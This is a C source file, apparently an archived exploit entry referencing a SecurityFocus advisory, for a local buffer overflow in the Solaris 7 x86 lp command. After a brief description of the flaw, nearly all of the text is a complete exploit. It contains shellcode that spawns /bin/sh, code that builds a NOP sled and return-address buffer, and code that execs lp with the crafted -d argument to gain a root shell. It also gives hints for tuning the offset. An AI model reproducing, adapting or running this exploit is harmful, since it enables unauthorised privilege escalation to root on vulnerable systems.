53 lines
No EOL
1.6 KiB
C
53 lines
No EOL
1.6 KiB
C
// source: https://www.securityfocus.com/bid/1143/info
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A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary code as root.
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/*
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*
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* solaris 2.7 /usr/bin/lp local exploit, i386.
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*
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* discovered by DiGiT.
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* try offset 150-250 if sploit fails
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*
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* greets: #!ADM, #!security.is, #hax, duke
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*
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* DiGiT - teddi@linux.is
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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char shellcode[] =
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"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
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"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
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"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
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"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
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"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
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"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
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#define BUFSIZE 1100
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long get_esp() { __asm__("movl %esp,%eax"); }
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int main(int argc, char *argv[]) {
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char buff[BUFSIZE];
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int nopcount=501, offset=260;
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int i;
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if (argc > 1) offset = atoi(argv[1]);
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if (argc > 2) nopcount = atoi(argv[2]);
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memset (buff, 0x90, BUFSIZE);
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for (i = nopcount; i < BUFSIZE - 4; i += 4)
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*(long *) &buff[i] = get_esp() + offset;
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memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
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(shellcode));
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memcpy (buff, ":", 1);
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printf("Addr = 0x%x\n", get_esp() + offset);
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execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
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} |